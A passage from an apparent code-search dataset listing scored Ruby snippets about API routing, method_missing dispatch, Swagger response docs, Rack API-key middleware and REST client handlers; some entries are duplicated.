return_val\n render json: JSON.pretty_generate(return_val)\n return true\n\n rescue Exception => e\n return_val = {}\n return_val['message'] = e.message\n return_val['success'] = false\n\n render json: JSON.pretty_generate(return_val)\n return true\n end\n end",
"title": ""
},
{
"docid": "506ba2df9ea97830e553abec217f5d9a",
"score": "0.54735214",
"text": "def method_missing(method, *args, &block) #:doc:\n soap_action = soap_action_from method.to_s\n super unless @wsdl.respond_to? soap_action\n\n setup_objects *@wsdl.operation_from(soap_action), &block\n Response.new @request.soap(@soap)\n end",
"title": ""
},
{
"docid": "42dacb77477da80ae158c4526c5f9eec",
"score": "0.5465594",
"text": "def method_missing(name, *args, &block)\n if @endpoints.include?name\n opts = args[0]\n opts[:action] = name\n opts[:version] = @api_version[name]\n apicall opts\n else\n super\n end\n end",
"title": ""
},
{
"docid": "53a999e6511d681fac6893a38a3bce1b",
"score": "0.5446739",
"text": "def doc_for(action_name, &block)\n instance_eval(&block)\n instance_eval(&@defaults) if @defaults\n # api_version namespace_name if namespace_name\n define_method(\"api_#{action_name}\") do\n # ... define it in your controller with the real code\n end\n end",
"title": ""
},
{
"docid": "72afd8aaf7bd717d315f429b6795d510",
"score": "0.5442315",
"text": "def actions\n client.operations\n end",
"title": ""
},
{
"docid": "555e564f4f7441082a333a9cf7d84edc",
"score": "0.54260963",
"text": "def operations(*operations)\n operations.each do |operation|\n define_class_operation(operation)\n define_instance_operation(operation)\n end\n end",
"title": ""
},
{
"docid": "6efc6c31988488d47d02b0aa2133e2fd",
"score": "0.53905797",
"text": "def build_routes\n @routes = {}\n callbacks = ROUTE_METHODS\n @api_classes.each do |c|\n resource = c[:resource]\n key = resource.to_s\n @routes[key] ||= {\n :path => c[:path],\n :routes => [],\n :format => resource.format\n }\n resource.endpoints.each do |endpoint|\n route = endpoint.routes.first\n options = endpoint.options\n settings = {}\n endpoint.settings.stack.each do |s|\n settings.merge! s\n end\n next if settings[:namespace].nil? || settings[:namespace].empty?\n h = {:settings => settings}\n callbacks.each do |cb|\n h[cb.to_sym] = route.send cb.to_sym\n end\n h[:route_path].gsub! /\\(\\.\\:format\\)/, '.%s' % resource.format.to_s\n h[:route_path].gsub! /\\:version/, h[:route_version]\n next if @documented_routes.include? h[:route_path]\n required = (options[:route_options][:params] ? options[:route_options][:params].dup : {})\n optional = (options[:route_options][:optional_params] ? options[:route_options][:optional_params].dup : {})\n all = required.merge(optional)\n\n h[:params] = {\n :required => required,\n :optional => optional,\n :all => prepare_mock_params(all)\n }\n @routes[key][:routes] << h\n @documented_routes << h[:route_path]\n end\n end\n end",
"title": ""
},
{
"docid": "4e256b9534d274e2b8b24ea8980e9d4a",
"score": "0.5390279",
"text": "def create_operations_processor\n JSONAPI.configuration.operations_processor.new\n end",
"title": ""
},
{
"docid": "318c6c004b6c9129bea5cc517958bcde",
"score": "0.5379238",
"text": "def operation_responses\n @operation.responses = Swagger::Data::Responses.new\n\n # Include all the possible errors in the response (store the types, they are documented separately)\n (@route.route_errors || {}).each do |code, response|\n error_response = { 'description' => response['description'] || response[:description] }\n\n if (entity = (response[:entity] || response['entity']))\n type = Object.const_get entity.to_s\n\n error_response['schema'] = {}\n error_response['schema']['$ref'] = \"#/definitions/#{type}\"\n\n remember_type(type)\n end\n\n @operation.responses.add_response(code, Swagger::Data::Response.parse(error_response))\n end\n\n if @route.route_response.present? && @route.route_response[:entity].present?\n rainbow_response = { 'description' => 'Successful result of the operation' }\n\n type = Swagger::Grape::Type.new(@route.route_response[:entity].to_s)\n rainbow_response['schema'] = {}\n remember_type(@route.route_response[:entity])\n\n # Include any response headers in the documentation of the response\n if @route.route_response[:headers].present?\n @route.route_response[:headers].each do |header_key, header_value|\n next unless header_value.present?\n rainbow_response['headers'] ||= {}\n\n rainbow_response['headers'][header_key] = {\n 'description' => header_value['description'] || header_value[:description],\n 'type' => header_value['type'] || header_value[:type],\n 'format' => header_value['format'] || header_value[:format]\n }\n end\n end\n\n if @route.route_response[:root].present?\n # A case where the response contains a single key in the response\n\n if @route.route_response[:isArray] == true\n # an array that starts from a key named root\n rainbow_response['schema']['type'] = 'object'\n rainbow_response['schema']['properties'] = {\n @route.route_response[:root] => {\n 'type' => 'array',\n 'items' => type.to_swagger\n }\n }\n else\n rainbow_response['schema']['type'] = 'object'\n rainbow_response['schema']['properties'] = {\n @route.route_response[:root] => type.to_swagger\n }\n end\n\n else\n\n if @route.route_response[:isArray] == true\n rainbow_response['schema']['type'] = 'array'\n rainbow_response['schema']['items'] = type.to_swagger\n else\n rainbow_response['schema'] = type.to_swagger\n end\n\n end\n\n @operation.responses.add_response('200', Swagger::Data::Response.parse(rainbow_response))\n end\n\n @operation.responses.add_response('default', Swagger::Data::Response.parse({ 'description' => 'Unexpected error' }))\n end",
"title": ""
},
{
"docid": "8eed36c2cfbe142c763b7451612a6b21",
"score": "0.5338655",
"text": "def standard_api(*methods, &block)\n methods.each do |method|\n define_singleton_method(method) do |*args|\n get(method, *args, &block)\n end\n end\n end",
"title": ""
},
{
"docid": "ede006743baa007e4470b69d91afd038",
"score": "0.53101516",
"text": "def method_missing(method, *args, &block)\n SZMGMT.logger.debug(\"Request for calling API method \\'#{method}\\'.\")\n @request_handlers.each do |request_handler|\n if request_handler.respond_to?(method)\n SZMGMT.logger.debug(\"Routing to request handler \\'#{request_handler.to_s}\\'.\")\n request_handler.send(method, *args, &block)\n return\n end\n end\n raise Exceptions::APIMethodMissingError.new(method)\n end",
"title": ""
},
{
"docid": "c2830a4a0c17e0802973ae44c2a0c4ac",
"score": "0.53098994",
"text": "def api_endpoints\n ACTIONS.keys.select { |controller| controller.to_s.start_with?(\"api\") }.\n flat_map do |controller|\n ACTIONS[controller].keys.map { |action| [controller, action] }\n end\nend",
"title": ""
},
{
"docid": "c2830a4a0c17e0802973ae44c2a0c4ac",
"score": "0.53098994",
"text": "def api_endpoints\n ACTIONS.keys.select { |controller| controller.to_s.start_with?(\"api\") }.\n flat_map do |controller|\n ACTIONS[controller].keys.map { |action| [controller, action] }\n end\nend",
"title": ""
},
{
"docid": "c2830a4a0c17e0802973ae44c2a0c4ac",
"score": "0.53098994",
"text": "def api_endpoints\n ACTIONS.keys.select { |controller| controller.to_s.start_with?(\"api\") }.\n flat_map do |controller|\n ACTIONS[controller].keys.map { |action| [controller, action] }\n end\nend",
"title": ""
},
{
"docid": "c510927c6324fa4f1bf7eee6270a64e8",
"score": "0.5308677",
"text": "def method_missing(method, *args, &block) #:doc:\n soap_action = soap_action_from method.to_s\n super unless @wsdl.respond_to? soap_action\n\n soap = soap_object_from @wsdl.operation_from(soap_action), *args, &block\n yield_objects soap, &block if block\n Response.new @request.soap(soap)\n end",
"title": ""
},
{
"docid": "a5b10c5797c2433c438f7fb48af53d42",
"score": "0.52953976",
"text": "def operations\n request(@binding).operations\n end",
"title": ""
},
{
"docid": "a383f2f4feccceb64d15b93ab72b0faa",
"score": "0.52840793",
"text": "def actions_endpoint(path, quick_reply: '')\n set_endpoint(path, quick_reply) do\n action_pattern = self.class.get_pattern(action.name)\n raise 'Action not defined' unless action_pattern\n\n request_params = action_pattern.params(action.name).values || []\n request_params << action.value\n\n {\n request_handler: self.class.get_handler(action.name),\n request_params: request_params\n }\n end\n end",
"title": ""
},
{
"docid": "d53067fca723df45b711cf50001137ad",
"score": "0.5276001",
"text": "def operations\n client.operations\n end",
"title": ""
},
{
"docid": "d7f4f5af00534929de7abc01eb14e2ee",
"score": "0.52749926",
"text": "def each_http_method\n http_methods.each { |m| yield m }\n method_types.each do |t|\n t.http_methods.each { |m| yield m }\n end\n end",
"title": ""
},
{
"docid": "9ed481e74aa0a219bb856d7950f9b03a",
"score": "0.5274863",
"text": "def crud_actions\n @apis.select do |api|\n # TODO make {name} more generic\n api[\"path\"].match(/\\/#{@resource_name}\\/{name}[\\/]{0,1}$/) || api[\"path\"].match(/\\/#{@resource_name}$/)\n end\n end",
"title": ""
},
{
"docid": "d4bea7882beb7d76224fc4bde8ca8d3b",
"score": "0.5274816",
"text": "def all\n rest.get apikey_path, auth: true do |response|\n response_handler response\n end\n end",
"title": ""
},
{
"docid": "1491d89fbf3ae6d7ddac4265a9adcd33",
"score": "0.52740943",
"text": "def apply\n @endpoints.each(&:dispatch)\n self\n end",
"title": ""
},
{
"docid": "198aa9297e6f6c77942d051de3e27f6e",
"score": "0.52713275",
"text": "def open_api_set method = :all, desc = '', &block\n @_apis_blocks ||= { }\n if method.is_a? Array\n method.each { |m| (@_apis_blocks[m.to_sym] ||= [ ]) << block }\n else\n (@_apis_blocks[method.to_sym] ||= [ ]) << block\n end\n end",
"title": ""
},
{
"docid": "e36aa937581be8fd298a9f53bd78193e",
"score": "0.52657354",
"text": "def route(verb, path, options = {}, &block)\n no_swagger = options[:no_swagger]\n options.delete(:no_swagger)\n if (verb == 'HEAD') || no_swagger\n super(verb, path, options, &block)\n else\n request_processor = create_request_processor(verb.downcase, path, options)\n super(verb, path, options) do |*params|\n response = catch(:halt) do\n request_processor.run(self, params, &block)\n end\n if settings.result_validation\n begin\n # Inspired from Sinatra#invoke\n if (Fixnum === response) or (String === response)\n response = [response]\n end\n if (Array === response) and (Fixnum === response.first)\n response_for_validation = response.dup\n response_status = response_for_validation.shift\n response_body = response_for_validation.pop\n response_headers = (response_for_validation.pop || {}).merge(self.response.header)\n response_content_type = response_headers['Content-Type']\n request_processor.validate_response(response_body, response_content_type, response_status)\n elsif response.respond_to? :each\n request_processor.validate_response(response.first.dup, self.response.header['Content-Type'], 200)\n end\n rescue Sinatra::SwaggerExposer::SwaggerInvalidException => e\n content_type :json\n throw :halt, [400, {:code => 400, :message => e.message}.to_json]\n end\n end\n throw :halt, response\n end\n end\n end",
"title": ""
},
{
"docid": "a2dfae68e150e4755b70254577599a61",
"score": "0.5263267",
"text": "def operations\n soap_actions.map { |operation, _formats| operation }\n end",
"title": ""
},
{
"docid": "8cf8221c4f1a9482d2e3b02eea33c40e",
"score": "0.5263029",
"text": "def API_triggers(body)\n #process required header here!\n endpoint = body['path'].downcase\n method = (body['httpMethod'] || \"\").downcase\n request_body = (body['body'] || \"\")\n #Downgrade all hash keys! \n headers = body['headers']\n headers = headers.transform_keys(&:downcase)\n content_type = (headers['content-type'] || \"\")#.downcase #Hummm case sensitive here. \n auth = (headers['authorization'] || \"\")\n \n #puts(content_type.class)\n\n case endpoint\n when \"/\" #ONLY GET from here\n get_response = get_token(endpoint, method, auth)\n response(get_response['response_body'], get_response['response_status_code'])\n when \"/token\" #ONLY POST to token!\n post_response = post_token(endpoint, method, content_type, request_body)\n response(post_response['response_body'], post_response['response_status_code'])\n else \n response(Array[], 404) #Source not found!\n end\nend",
"title": ""
},
{
"docid": "3e2d876cc8a040ef6a21d93e9e303d6a",
"score": "0.52579594",
"text": "def with_default_restful_actions(params = {}, &block)\n {\n :get => :index,\n :get => :new,\n :post => :create\n }.each do |method_id, message|\n self.send method_id, message, params\n block.call\n end\n {\n :get => :edit,\n :put => :update,\n :delete => :destroy\n }.each do |method_id, message|\n if params[:before]\n params.delete(:before).call\n end\n # Presuming any id will do\n self.send method_id, message, params.merge(:id => 1)\n block.call\n end\n end",
"title": ""
},
{
"docid": "179104720b7ac75093d757483f45bcc6",
"score": "0.52432007",
"text": "def api(*methods)\n lambda do |input|\n validate_api(input, methods)\n end\n end",
"title": ""
},
{
"docid": "140bd45d428fb06e1c3e0784a9212f20",
"score": "0.52429664",
"text": "def operations\n @client.operations\n end",
"title": ""
},
{
"docid": "e47ab7adedbffb408e644d57fdc796f9",
"score": "0.5236776",
"text": "def define_operations(service)\n define_resource_operations(service, service, svc_definition)\n each_resource do |name, definition|\n define_resource_operations(service, @namespace.const_get(name), definition)\n end\n end",
"title": ""
},
{
"docid": "b7f16a3f4957e9062580ef09ab4be9aa",
"score": "0.5229282",
"text": "def method_missing(method_name, *args, &block)\n if self.has_key?(method_name.to_s)\n self.[](method_name, &block)\n elsif self.objects.respond_to?(method_name)\n self.objects.send(method_name, *args, &block)\n elsif self.request[:api].respond_to?(method_name)\n self.request[:api].send(method_name, *args, &block)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "b7f16a3f4957e9062580ef09ab4be9aa",
"score": "0.5229282",
"text": "def method_missing(method_name, *args, &block)\n if self.has_key?(method_name.to_s)\n self.[](method_name, &block)\n elsif self.objects.respond_to?(method_name)\n self.objects.send(method_name, *args, &block)\n elsif self.request[:api].respond_to?(method_name)\n self.request[:api].send(method_name, *args, &block)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "6c0b97ff97d8b083dc1ef7a106c0fb5e",
"score": "0.52153647",
"text": "def setup_api\n @description = @api.describe_api(@version)\n @resources = {}\n\n @description[:resources].each do |name, desc|\n r = HaveAPI::Client::Resource.new(self, @api, name)\n r.setup(desc)\n\n define_singleton_method(name) do |*args|\n tmp = r.dup\n tmp.prepared_args = args\n tmp.setup_from_clone(r)\n tmp\n end\n\n @resources[name] = r\n end\n\n @setup = true\n end",
"title": ""
},
{
"docid": "bd415eed29f600110625f3bbfca84bcd",
"score": "0.52135754",
"text": "def configure # rubocop:todo Metrics/MethodLength\n container = self\n\n register(\"docker_exporter\") do\n DockerExporter.new(\n container.resolve(\"api.user\"),\n Rails.application.routes.url_helpers,\n )\n end\n\n register(\"https_apps_client\") { HttpsAppsClient.new(config[:token], config[:user]) }\n\n namespace \"api\" do\n register(\"user\", memoize: true) { DNAnexusAPI.new(config[:token]) }\n register(\"admin\", memoize: true) { DNAnexusAPI.new(ADMIN_TOKEN) }\n register(\"challenge_bot\", memoize: true) { DNAnexusAPI.new(CHALLENGE_BOT_TOKEN) }\n register(\"auth\", memoize: true) { DNAnexusAPI.new(ADMIN_TOKEN, DNANEXUS_AUTHSERVER_URI) }\n register(\"auth_user\", memoize: true) do\n DNAnexusAPI.new(config[:token], DNANEXUS_AUTHSERVER_URI)\n end\n end\n\n namespace \"orgs\" do # rubocop:todo Metrics/BlockLength\n register(\"user_removal_policy\") { UserRemovalPolicy }\n register(\"member_removal_policy\") { MemberRemovalPolicy }\n register(\"org_dissolve_policy\") { OrgDissolvePolicy }\n\n register(\"unused_orgname_generator\") do\n UnusedOrgnameGenerator.new(container.resolve(\"api.user\"))\n end\n\n register(\"org_leave_processor\") do\n OrgService::LeaveOrgProcess.new(\n container.resolve(\"api.user\"),\n container.resolve(\"api.admin\"),\n container.resolve(\"api.auth\"),\n resolve(\"user_removal_policy\"),\n resolve(\"unused_orgname_generator\"),\n )\n end\n\n register(\"login_tasks_processor\") do\n LoginTasksProcessor.new(resolve(\"org_leave_processor\"))\n end\n\n register(\"leave_org_request_creator\") do\n OrgService::LeaveOrgRequest.new(resolve(\"user_removal_policy\"))\n end\n\n register(\"remove_member_request_creator\") do\n OrgService::RemoveMemberRequest.new(resolve(\"member_removal_policy\"))\n end\n\n register(\"dissolve_org_request_creator\") do\n OrgService::DissolveOrgRequest.new(resolve(\"org_dissolve_policy\"))\n end\n\n register(\"on_platform_provisioner\") do\n OrgService::ProvisionOnPlatform.new(\n container.resolve(\"api.admin\"),\n container.resolve(\"api.auth\"),\n )\n end\n\n register(\"provisioner\") do\n OrgService::Provision.new(resolve(\"on_platform_provisioner\"))\n end\n\n register(\"admin_member_provisioner\") do\n OrgService::ProvisionAdminOrgMember.new(\n container.resolve(\"api.admin\"),\n )\n end\n end\n\n namespace(\"comparisons\") do\n namespace \"sync\" do\n register(\"updater\") { SyncService::Comparisons::ComparisonUpdater }\n\n register(\"filter\") { SyncService::Comparisons::ComparisonsFilter }\n\n register(\"state_processor\") do\n SyncService::Comparisons::StateProcessor.new(\n container.resolve(\"api.user\"),\n )\n end\n\n register(\"comparison_processor\") do\n SyncService::Comparisons::ComparisonProcessor.new(\n resolve(\"state_processor\"),\n resolve(\"updater\"),\n )\n end\n\n register(\"synchronizer\") do\n SyncService::Comparisons::Synchronizer.new(\n container.resolve(\"api.user\"),\n resolve(\"filter\"),\n resolve(\"comparison_processor\"),\n )\n end\n end\n end\n end",
"title": ""
},
{
"docid": "8e784e4d592e86fff5fc53c8240fa115",
"score": "0.52124286",
"text": "def build_resource_methods\n {\n :all => {\n :path => \"/#{resource_name}.json\",\n :method => :get\n },\n :create => {\n :path => \"/#{resource_name}.json\",\n :method => :post\n },\n :show => {\n :path => \"/#{resource_name}/:id.json\",\n :method => :get\n },\n # this should be a :put but Typhoeus isn't \n # sending params along with :put operations so\n # :post will have to do for now.\n :update => {\n :path => \"/#{resource_name}/:id.json\",\n :method => :post\n },\n :destroy => {\n :path => \"/#{resource_name}/:id.json\",\n :method => :delete\n }\n }.each do |m,args|\n define_remote_method m, args\n end\n end",
"title": ""
},
{
"docid": "ba49be3e6f2222502df67e8281ca2cff",
"score": "0.5212333",
"text": "def execute\n case @template[:payload][:method]\n when 'get'\n begin\n out = RestClient.get @template[:payload][:uri]\n response = {:status => 200, :message => \"[i2] GET request on #{@template[:payload][:uri]} executed.\", :id => @template[:payload][:uri], :response => out.to_str}\n rescue Exception => e\n response = {:status => 400, :message => \"Unable to perform GET request, #{e}\"}\n if ENV[\"LOG_SENTRY\"] then\n Raven.capture_exception(e)\n end\n end\n when 'post'\n begin\n out = RestClient.post @template[:payload][:uri], @template[:payload]\n response = {:status => 200, :message => \"[i2] POST request on #{@template[:payload][:uri]} executed.\", :id => @template[:payload][:uri], :response => out.to_str}\n rescue Exception => e\n response = {:status => 400, :message => \"Unable to perform POST request, #{e}\"}\n end\n when 'put'\n begin\n\n rescue Exception => e\n response = {:status => 440, :message => \"Unable to perform PUT request (not implemented), #{e}\"}\n end\n when 'delete'\n begin\n\n rescue Exception => e\n response = {:status => 440, :message => \"Unable to perform DELETE request (not implemented), #{e}\"}\n end\n end\n response\n end",
"title": ""
},
{
"docid": "3b2dbbaee032554ee908f26f5ea5985c",
"score": "0.52100337",
"text": "def base_methods\n {\n controller_path: \"app/controllers/api/\",\n view_path: \"app/views/api/\",\n spec_path: \"spec/requests/api/\"\n }\n end",
"title": ""
},
{
"docid": "9216a923f6f488b97a4de2f6956e4816",
"score": "0.5207247",
"text": "def handlers\n {\n Api::Type::Boolean => ->(v) { v },\n Api::Type::Constant => ->(v) { v },\n Api::Type::Double => ->(v) { v },\n Api::Type::Enum =>\n ->(v) { v.is_a?(Symbol) ? v.id2name : v.to_s },\n Api::Type::Integer => ->(v) { v },\n Api::Type::String => ->(v) { v },\n Api::Type::Time => ->(v) { v.iso8601 },\n Api::Type::Array => ->(v) { v },\n Api::Type::NestedObject => ->(v) { v },\n Api::Type::ResourceRef => ->(v) { v },\n Api::Type::Array::STRING_ARRAY_TYPE =>\n ->(v) { v.map { |e| e } },\n Api::Type::Array::RREF_ARRAY_TYPE =>\n ->(v) { v.call(exported_values: true) },\n Api::Type::NameValues => ->(v) { v }\n }.freeze\n end",
"title": ""
},
{
"docid": "41eef3adff3c9f5d9e9a3335ddf4a387",
"score": "0.5205831",
"text": "def makeAPIcontext(info, whichOp, kwargs={})\n rslt = {}\n rslt[:httpMethod] = whichOp\n\n # Build the substitutions from defaults (if any) and non-nil kwargs.\n # Note: we are carefully making copies of the underlying dictionaries\n # so you get your own private context returned to you\n substitutions = (info[:defaults]||{}).clone\n\n # copy any supplied non-nil kwargs (nil ones defer to defaults)\n kwargs.each { |k, v| if v then substitutions[k] = v end }\n\n # this is the stuff specific to the operation, e.g.,\n # the 'next' and 'list' fields in a chunked GET\n # There can also be additional path info.\n # process the paty appendage and copy everything else\n\n appendThis = \"\"\n path = info[:path]\n if info[whichOp]\n opi = info[whichOp]\n opi.each do |k, v|\n if k == :appendPath\n appendThis = v\n elsif k == :path\n path = v # entire path overridden on this one\n else\n rslt[k] = v\n end\n end\n end\n rslt[:basePath] = (path + appendThis) % substitutions\n return rslt\n end",
"title": ""
},
{
"docid": "bd3c5e0e54fc32f68ead4d3b4116a609",
"score": "0.52057606",
"text": "def each_api\n Dir.glob(\"#{WORKING_DIR}/rest-api-spec/src/main/resources/rest-api-spec/api/*.json\").sort.each do |filename|\n next if filename =~ /\\/_common\\.json\\Z/\n\n hash = MultiJson.load(File.read(filename))\n key = hash.keys.first\n value = hash.values.first\n yield(key, value)\n end\n end",
"title": ""
},
{
"docid": "61734f0bb11edc29dcb7a53f096851d8",
"score": "0.5190094",
"text": "def method_missing(sym, *args, &block)\n # Check for terminating method\n if [:create, :close, :delete, :get, :update, :stream].include?(sym)\n @client.execute_request sym, namespace, conditions, &block\n else\n ns = self.clone\n ns.namespace_segments << ResourceBase.pluralize(sym)\n ns.extract_key_and_conditions args.first\n ns\n end\n end",
"title": ""
},
{
"docid": "04aec1f8fd77c3ddd74aacfc105bda73",
"score": "0.5170841",
"text": "def method_missing(method, *args, &block)\n if @api.respond_to?(method)\n if args.empty?\n @api.send(method)\n else\n @api.send(method, args)\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "9f039a002730bf23ac5f51fec1ae0184",
"score": "0.51487434",
"text": "def app\n\n Rack::Builder.new do\n map '/' do \n use RackApiKey, :api_key_proc => Proc.new { |val| ApiKey.find(val) }\n run lambda { |env| [200, {\"Content-Type\" => \"text/html\"}, \"Testing Middleware\"] }\n end\n\n map \"/no-api-proc\" do\n use RackApiKey\n run lambda { |env| [200, {\"Content-Type\" => \"text/html\"}, \"Testing Middleware\"] }\n end\n\n map \"/all-options\" do\n use RackApiKey,\n :api_key_proc => Proc.new { |val| ApiKey.find(val) },\n :rack_api_key => \"account.api.key\",\n :header_key => \"HTTP_X_CUSTOM_API_HEADER\"\n run lambda { |env| [200, {\"Content-Type\" => \"text/html\"}, \"Testing Middleware\"] }\n end\n\n map \"/url-restricted\" do\n use RackApiKey,\n :api_key_proc => Proc.new { |val| ApiKey.find(val) },\n :url_restriction => [/url-restricted\\/foo/]\n run lambda { |env| [200, {\"Content-Type\" => \"text/html\"}, \"Testing Middleware\"] }\n end\n\n map '/url-exclusion' do\n use RackApiKey,\n :api_key_proc => Proc.new { |val| ApiKey.find(val) },\n :url_exclusion => [/url-exclusion\\/foo/]\n run lambda { |env| [200, { 'Content-Type' => 'text/html' }, 'Testing Middleware'] }\n end\n\n end\n\n end",
"title": ""
},
{
"docid": "d348fe9f65e3154206a57b0cb5b4e018",
"score": "0.51468766",
"text": "def call(env)\n request = Rack::Request.new(env)\n\n if request.path_info == '/api_spec.json' and @config.enable_spec\n response = Rack::Response.new\n response.headers['Content-Type'] = 'application/json'\n response.write DocumentationEngines::JSON.new(self).dox\n return response.finish\n end\n \n unless @config.routes[request.path_info]\n response = Rack::Response.new\n response.headers['Content-Type'] = 'application/json'\n response.status = 404\n response.write({:message => 'Route not found!'}.to_json)\n return response.finish\n end\n\n route = ExecutionContext::Route.new(\n @config, @config.routes[request.path_info])\n route.execute(request).finish\n end",
"title": ""
},
{
"docid": "45b2a390a124f915ba69e8bfe91470bb",
"score": "0.5129997",
"text": "def execute()\r\n return_response = @parameters['return_response'].to_s\r\n api_server = @info_values[\"api_server\"]\r\n api_address = \"#{api_server.chomp(\"/\")}\"\r\n api_address << \"#{@api_route}/#{@parameters['object_type']}?\"\r\n\r\n @url_parameters.each do |key, value|\r\n api_address << \"#{key}=#{URI.encode(value)}&\"\r\n end\r\n @column_qualifiers.each do |key,value|\r\n if value.is_a?(Array) then\r\n value.each do |qualifier|\r\n api_address << \"#{key}=#{URI.encode(qualifier)}&\"\r\n end\r\n elsif value.is_a?(String) then\r\n api_address << \"#{key}=#{URI.encode(value)}&\"\r\n end\r\n end\r\n\r\n api_address.chomp!(\"&\")\r\n\r\n puts \"API URL: #{api_address}\" if @enable_debug_logging\r\n\r\n response = RestClient::Request.execute(\r\n method: :get, \r\n url: api_address,\r\n headers: {accept: :json}\r\n )\r\n\r\n # Default, JSON\r\n formatted_response = response.body\r\n\r\n if @parameters['return_type'] == \"XML\" then\r\n formatted_response = convert_json_to_xml(JSON.parse(response.body))\r\n elsif @parameters['return_type'] == \"YAML\"\r\n formatted_response = YAML::dump(\r\n JSON.parse(response.body)\r\n )\r\n end\r\n\r\n # Build the results to be returned by this handler\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\"></result>\r\n <result name=\"Nagios XI Response\">#{escape(formatted_response)}</result>\r\n </results>\r\n RESULTS\r\n\r\n rescue RestClient::Exception => error\r\n error_message = JSON.parse(error.response)\r\n if error_handling == \"Raise Error\"\r\n raise error_message\r\n else\r\n <<-RESULTS\r\n <results>\r\n <result name=\"Handler Error Message\">#{error.http_code}: #{escape(error_message)}</result>\r\n <result name=\"Nagios XI Response\"></result>\r\n </results>\r\n RESULTS\r\n end\r\n end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5127883",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "cec86edb3098bd8c51fef33fb3ec53c5",
"score": "0.5101818",
"text": "def test_parse_service_yaml_with_api_http\n api1_name = \"test_api1\"\n method1_name = \"test_method1\"\n method1_verb = \"get\"\n method1_binding = \"/v1alpha1/{name=projects/*}/locations\"\n\n method2_name = \"test_method2\"\n method2_verb = \"post\"\n method2_body = \"*\"\n method2_binding1 = \"/v1alpha1/{resource=projects/*/locations/*/connectionProfiles/*}:setIamPolicy\"\n method2_binding2 = \"/v1alpha1/{resource=projects/*/locations/*/streams/*}:setIamPolicy\"\n\n yaml = <<~HEREDOC\n type: google.api.Service\n config_version: 2\n name: my_service\n apis:\n - name: #{api1_name}\n - name: test_api2\n http:\n fully_decode_reserved_expansion: true\n rules:\n - selector: #{api1_name}.#{method1_name}\n #{method1_verb}: '#{method1_binding}'\n - selector: #{api1_name}.#{method2_name}\n #{method2_verb}: '#{method2_binding1}'\n body: '#{method2_body}'\n additional_bindings:\n - #{method2_verb}: '#{method2_binding2}'\n body: '#{method2_body}'\n - post: '/v1alpha1/{resource=projects/*/locations/*/privateConnections/*}:setIamPolicy'\n body: '*'\n - post: '/v1alpha1/{resource=projects/*/locations/*/privateConnections/*/routes/*}:setIamPolicy'\n body: '*'\n HEREDOC\n\n service = Gapic::Schema::ServiceConfigParser.parse_service_yaml yaml\n\n assert(service.apis.any? { |api| api.name == api1_name })\n refute_nil service.http\n http = service.http\n assert_equal 2, http.rules.length\n\n method1_rule = http.rules.find { |rule| rule.selector == \"#{api1_name}.#{method1_name}\" }\n refute_nil method1_rule\n assert method1_rule.respond_to? method1_verb\n assert_equal method1_binding, method1_rule.send(method1_verb)\n\n method2_rule = http.rules.find { |rule| rule.selector == \"#{api1_name}.#{method2_name}\" }\n refute_nil method2_rule\n assert method2_rule.respond_to? method2_verb\n assert_equal method2_binding1, method2_rule.send(method2_verb)\n assert_equal method2_body, method2_rule.body\n\n refute_nil method2_rule.additional_bindings\n method2_addbind = method2_rule.additional_bindings.find do |bind|\n bind.respond_to?(method2_verb) &&\n method2_binding2 == bind.send(method2_verb) &&\n method2_body == bind.body\n end\n refute_nil method2_addbind\n end",
"title": ""
},
{
"docid": "2ca29b83b08c524287495c2af5ca57dd",
"score": "0.5095673",
"text": "def apply(router)\n # Define any necessary routes and root\n router.instance_exec(@application.namespaces) do |namespaces|\n namespaces.each do |namespace|\n # TODO: Eribium - HOWTO define (enable) root namespace\n unless namespace.root? or namespace.internal?\n root_route_block = Proc.new do\n root to: \"base#default\"\n end\n if namespace.root?\n instance_eval &root_route_block\n else\n namespace(namespace.route_key) do\n instance_eval &root_route_block\n end\n end\n end\n\n unless namespace.internal?\n namespace.workspaces.each do |workspace|\n route_definition_block = Proc.new do\n case workspace.type\n when \"resource\"\n #resources config.resource_name.route_key, :only => config.defined_actions do\n # # Define any member actions\n # member do\n # config.member_actions.each do |action|\n # # eg: get :comment\n # send(action.http_verb, action.name)\n # end\n # end\n # # Define any collection actions\n # collection do\n # config.collection_actions.each do |action|\n # send(action.http_verb, action.name)\n # end\n # post :batch_action\n # end\n #end\n resources workspace.route_key\n when \"page\"\n #match \"/#{config.underscored_resource_name}\" => \"#{config.underscored_resource_name}#index\"\n match \"/#{workspace.route_key}\" => \"#{workspace.route_key}#index\"\n #config.page_actions.each do |action|\n # match \"/#{config.underscored_resource_name}/#{action.name}\" => \"#{config.underscored_resource_name}##{action.name}\", :via => action.http_verb\n #end\n else\n raise \"Unsupported workspace type: #{workspace.type}\"\n end\n end\n\n if namespace.root?\n instance_eval &route_definition_block\n else\n namespace(namespace.route_key) do\n instance_eval &route_definition_block\n end\n end\n end\n end\n end\n\n # Internal routes\n internal_definition_block = Proc.new do\n namespace :eribium do\n root to: \"base#default\"\n resources :namespaces\n resources :workspaces\n resources :models\n end\n end\n\n router.instance_eval &internal_definition_block\n end\n\n end",
"title": ""
},
{
"docid": "c195ab1dd22b58aac8c6e748bda8ce62",
"score": "0.5089182",
